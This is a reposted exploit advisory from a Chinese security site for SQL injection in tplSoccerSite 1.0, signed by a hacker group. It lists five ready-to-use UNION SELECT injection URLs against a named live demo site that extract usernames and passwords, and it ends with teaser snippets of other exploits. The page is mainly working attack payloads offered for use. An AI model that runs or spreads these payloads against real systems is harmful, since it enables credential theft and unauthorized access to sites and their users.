tplSoccerSite 1.0 Multiple Remote SQL Injection Vulnerabilities

所属分类: 网络安全 / Exploit 阅读数: 173
收藏 0 赞 0 分享
###############################################################
#################### Viva IslaM Viva IslaM ####################
##
## Remote SQL injection Vulnerability
##
## tplSoccerSite 1.0 ( player.php id )
##
###############################################################
###############################################################
##
## AuTh0r : Mr.SQL
##
## H0ME : WwW.PaL-HaCkEr.CoM && WwW.AtsDp.CoM/f
##
## Email : SQL@Hotmail.it
##
## SYRiAN Arab HACkErS
########################
########################
##
## -[[: L!VE DEMO :]]-
##
## 1) www.tpl-design.com/tplsoccersite/tampereunited/index.php?id=-1' UNION SELECT 0,CONCAT_WS(0x3a,PasswordUser,PasswordPassword)MrSQL,current_user,0,0 FROM tplss_passwords/*
## 2) www.tpl-design.com/tplsoccersite/tampereunited/player.php?id=-1' UNION SELECT 0,0,CONCAT_WS(0x3a,PasswordUser,PasswordPassword),'MrSQL',0,0,0,0,0,0,0 FROM tplss_passwords/*
## 3) www.tpl-design.com/tplsoccersite/tampereunited/opponent.php?opp=-1' UNION SELECT CONCAT_WS(0x3a,PasswordUser,PasswordPassword),'MrSQL',0,0 FROM tplss_passwords/*
## 4) www.tpl-design.com/tplsoccersite/tampereunited/matchdetails.php?id=-1' UNION SELECT 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,CONCAT_WS(0x3a,PasswordUser,PasswordPassword),0,0,0,0,0 FROM tplss_passwords/*
## 5) www.tpl-design.com/tplsoccersite/tampereunited/additionalpage.php?id=-1' UNION SELECT CONCAT_WS(0x3a,PasswordUser,PasswordPassword),'MrSQL',0 FROM tplss_passwords/*
##
########################
########################
-[[ NOTE ]]-
1 ) Download [[ tplSoccerSite 1.0 ]] http://www.tpl-design.com/download/tpl_ss_10_free.zip

#######################################################################################################
#######################################################################################################
-(:: !Gr3E3E3E3E3E3E3TzZ! ::)-

:: HaCkEr_EGy :: His0k4 :: Dark MaSTer :: MoHaMeD el 3rab :: ALwHeD :: milw0rm :: MuslimS HaCkErS ::
#######################################################################################################
#######################################################################################################
更多精彩内容其他人还在看

Wordpress Plugin Download Manager 0.2 Arbitrary File Upload Exploit

<a name="upload-file"></a><h2>WORDPRESS PLUGIN DOWNLOAD MANAGER 0.2 REMOTE FILE UPLOAD</h2> <h3>S
收藏 0 赞 0 分享

PHP 4.4.5 / 4.4.6 session_decode() Double Free Exploit PoC

<?php //////////////////////////////////////////////////////////////////////// // _ _ _
收藏 0 赞 0 分享

FreeBSD mcweject 0.9 (eject) Local Root Buffer Overflow Exploit

// ejecsploit.c - local root exploit for bsd's eject.c // harry // vuln found by kokanin (you 31337!!! ;)) // thanks to sacrin
收藏 0 赞 0 分享

Oracle 10g KUPM$MCP.MAIN SQL Injection Exploit

#!/usr/bin/perl # # Remote Oracle KUPM$MCP.MAIN exploit (10g) # # Grant or revoke dba permission to unprivileged user # #
收藏 0 赞 0 分享

NaviCOPA Web Server 2.01 Remote Buffer Overflow Exploit (meta)

## # This file is part of the Metasploit Framework and may be redistributed # according to the licenses defined in the Authors field b
收藏 0 赞 0 分享

MS Internet Explorer Recordset Double Free Memory Exploit

<HTML> <!-- ********************************************************************************** Microsoft Internet Explo
收藏 0 赞 0 分享

Easy File Sharing FTP Server 2.0 (PASS) Remote Exploit

#!/usr/bin/python # Remote exploit for Easy File Sharing FTP server V2.0. The vulnerability # was discovered by h07 and a POC for wi
收藏 0 赞 0 分享

Linux Kernel

/* Linux Kernel DCCP Memory Disclosure Vulnerability Synopsis: The Linux kernel is susceptible to a locally exploitable flaw w
收藏 0 赞 0 分享

MS Internet Explorer (FTP Server Response) DoS Exploit

#!/usr/bin/perl # MS 07-016 FTP Server Response PoC # Usage: ./ms07016ftp.pl [LISTEN_IP] # # Tested Against: MSIE 6.0290
收藏 0 赞 0 分享

MS Windows DCE-RPC svcctl ChangeServiceConfig2A() Memory Corruption

#!/usr/bin/python # MS Windows DCE-RPC svcctl ChangeServiceConfig2A() 0day Memory Corruption PoC Exploit # Bug discovered by Krystia
收藏 0 赞 0 分享
查看更多